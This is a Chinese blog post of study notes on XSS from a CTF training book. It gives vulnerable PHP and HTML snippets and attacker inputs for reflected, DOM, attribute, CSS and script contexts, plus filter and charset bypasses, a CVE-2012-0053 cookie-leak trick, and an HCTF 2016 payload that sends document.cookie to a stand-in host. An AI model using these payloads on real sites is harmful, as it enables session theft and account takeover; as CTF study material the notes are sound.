继续阅读《CTF特训营》web部分
本节是XSS
XSS是一种代码注入漏洞
在网页中注入恶意代码
被攻击者在加载网页时受到攻击
代码作为客户端输入提交给服务端
在相应内容里返回并由浏览器执行
例子
<?php echo 'your input'.$_GET['input'];?>
攻击者
http://xxx.com/xss.php?input=<script>alert(/xss/)</script>
浏览器会执行alert(/xss/)
代码会存储在服务端
不需要服务端解析
出发XSS的是DOM解析
例子
<html>
<head>
<title>DOM</title>
<meta charset="utf-8">
</head>
<body>
<div id="area"></div>
<script>
document.getElementByld("area").innerHTML=unescape(location.hash);
</body>
</html>
客户端的JavaScript代码将location.hash动态的赋予document.getElementByld(“area”).innerHTML
攻击者
http://xxx.com/dom.html#<img src=x οnerrοr='alert(/xss/)'>
例子
<input name="user" value="{{your input}}"/>
攻击者
" οnclick="alert(/xss/)
例子
<style type="text/css">
body{
color:{{your input}};
}
</style>
攻击者
#000;background-image:url('javascript:alert(/xss/)')
例子
<script>
var name='{{your input}}';
</script>
攻击者
'+alert(/xss/)+'
任何一种标签都可以构造xss代码
可参考:
测试时可用burp进行fuzz
遍历可利用的事件
一些可用方法
一个好用的编码工具XSSEE
对.
、()
、{空格}
的过滤,绕过方案依次如下
with(document)alert(cookie);
window.onerror=alert;throw 1;
%0a
字符集编码存在问题时会导致一些绕过
有长度限制时,善用
apache2.2.0-2.2.21有个漏洞CVE-2012-0053
可以植入超大cookie使得http头超过最大请求长度4192字节
返回400错误,包含httponly保护的cookie
phpinfo页面有cookie
日语字符集绕过
<meta charset="ISO-2022-JP"><img src="#" onerror%1B28B=alert(1)/>
对https协议的错误理解绕过
http://xxx.com/xss.php?input=1><link%20rel="import"%20href=https:evil.com/1.php
HCTF 2016中的题目guestbook
过滤代码
CSP规则(开启了unsafe-inline)
需要做到的事
payload
<scrscriptipt>locatioonn.href="http://eval.com/xss/cookie.php?cookie="+escape(document.cookie);</scrscriptipt>
了解了XSS相关知识和绕过方式
一个可以拿来参考和学习的平台:BeEF
本文地址:https://blog.csdn.net/weixin_44604541/article/details/107605890
如对本文有疑问, 点击进行留言回复!!
JWT RS256加解密、JWK获取PublicKey和PrivateKey、从已存在公私钥加解密JWT
pytorch安装实录(win10+cuda8+pycharm+anaconda)
小练习题(69)有n个人围成一圈,顺序排号。从第一个人开始报数(从1到3报数),凡报到3的人退出圈子,问最后留下的是原来第几号的那位
网友评论